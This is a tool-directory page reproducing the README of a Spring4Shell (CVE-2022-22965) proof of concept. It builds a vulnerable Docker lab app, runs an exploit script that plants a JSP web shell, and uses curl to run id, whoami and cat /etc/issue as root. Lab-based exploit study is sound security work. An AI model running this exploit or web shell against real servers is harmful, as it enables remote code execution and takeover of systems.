Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-22965-PoC — CVE-2022-22965 (Spring4Shell) Proof of Concept | Kitploit
Tools/GitHubGitHub/sunnyvale-it/cve-2022-22965-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubsunnyvale-it/cve-2022-22965-poc

CVE-2022-22965-PoC

CVE-2022-22965 (Spring4Shell) Proof of Concept

View Repository
7313 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2022-22965 (Spring4Shell) Proof of Concept

Test the RCE (Remote Code Execution) in Spring Core​

Build the image

BuildKit based build is required so you need to enable it.

Easiest way is to set the DOCKER_BUILDKIT=1 environment variable when invoking the docker build command, such as:

root@kitploit:~
$ DOCKER_BUILDKIT=1 docker build -f Dockerfile.core . -t spring4shell-core && docker run --rm -p 8080:8080 spring4shell-core

Otherwise to enable docker BuildKit by default, set daemon configuration in /etc/docker/daemon.json feature to true and restart the daemon:

root@kitploit:~
{ "features": { "buildkit": true } }

This way you can execute simply

root@kitploit:~
$ docker build -f Dockerfile.core . -t spring4shell-core && docker run --rm -p 8080:8080 spring4shell-core

Test the vulnerable application

root@kitploit:~
$ curl localhost:8080/spring4shell/exploitme
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Spring4Shell PoC Spring Application</title>
</head>
<body>
    Hello World! Exploit me!
</body>
</html>

Run the exploit

root@kitploit:~
$ python3 exploit-core.py --url "http://localhost:8080/spring4shell/exploitme" --file shell
[*] Resetting Log Variables.
[*] Response code: 200
[*] Modifying Log Configurations
[*] Response code: 200
[*] Response Code: 200
[*] Resetting Log Variables.
[*] Response code: 200
[+] Exploit completed
[+] Check your target for a shell
[+] File: shell.jsp
[+] Shell should be at: http://localhost:8080/shell.jsp?cmd=id

If everything went right, execute arbitrary commands in the container through the Tomcat HTTP port, such as:

root@kitploit:~
$ curl http://localhost:8080/shell.jsp\?cmd\=id --output -
uid=0(root) gid=0(root) groups=0(root)

//
root@kitploit:~
$ curl http://localhost:8080/shell.jsp\?cmd\=whoami --output -
root

//
root@kitploit:~
$ curl http://localhost:8080/shell.jsp\?cmd\=cat%20/etc/issue --output -
Debian GNU/Linux 11 \n \l


//
Download Tool